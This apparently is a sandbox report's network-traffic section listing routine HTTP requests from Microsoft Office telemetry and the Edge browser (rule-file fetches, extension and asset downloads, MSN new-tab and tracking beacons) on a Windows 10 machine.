Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730912798&P2=404&P3=2&P4=L%2b47LxvmA3%2bZ79nO%2fn9EPVJpXdpgCaJwwvQq7APfr2t2Vfd0c3K8VcL%2bVoKdfPLRNzQrt8LFBAcCD98W6EOW9Q%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: i2UWQclRbPk+k8KdPisSdNSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=AFD58C2A-F937-48D9-8C21-3BA21956DDF0&scn=app_anon HTTP/1.1Host: api.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A3C51D39FB2654125F844FB9EBA64FA&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d87322ebcd554555b805ffba1359910b HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG4y.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A3C51D39FB2654125F844FB9EBA64FA&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b053ffe6d4e24783a26a1441040d92f3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730308002026&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=afd58c2af93748d98c213ba21956ddf0&activityId=afd58c2af93748d98c213ba21956ddf0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730308002026&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A3C51D39FB2654125F844FB9EBA64FA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730308002026&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A3C51D39FB2654125F844FB9EBA64FA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B6dc4876605b7882e815831730308005; XID=1B6dc4876605b7882e815831730308005
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
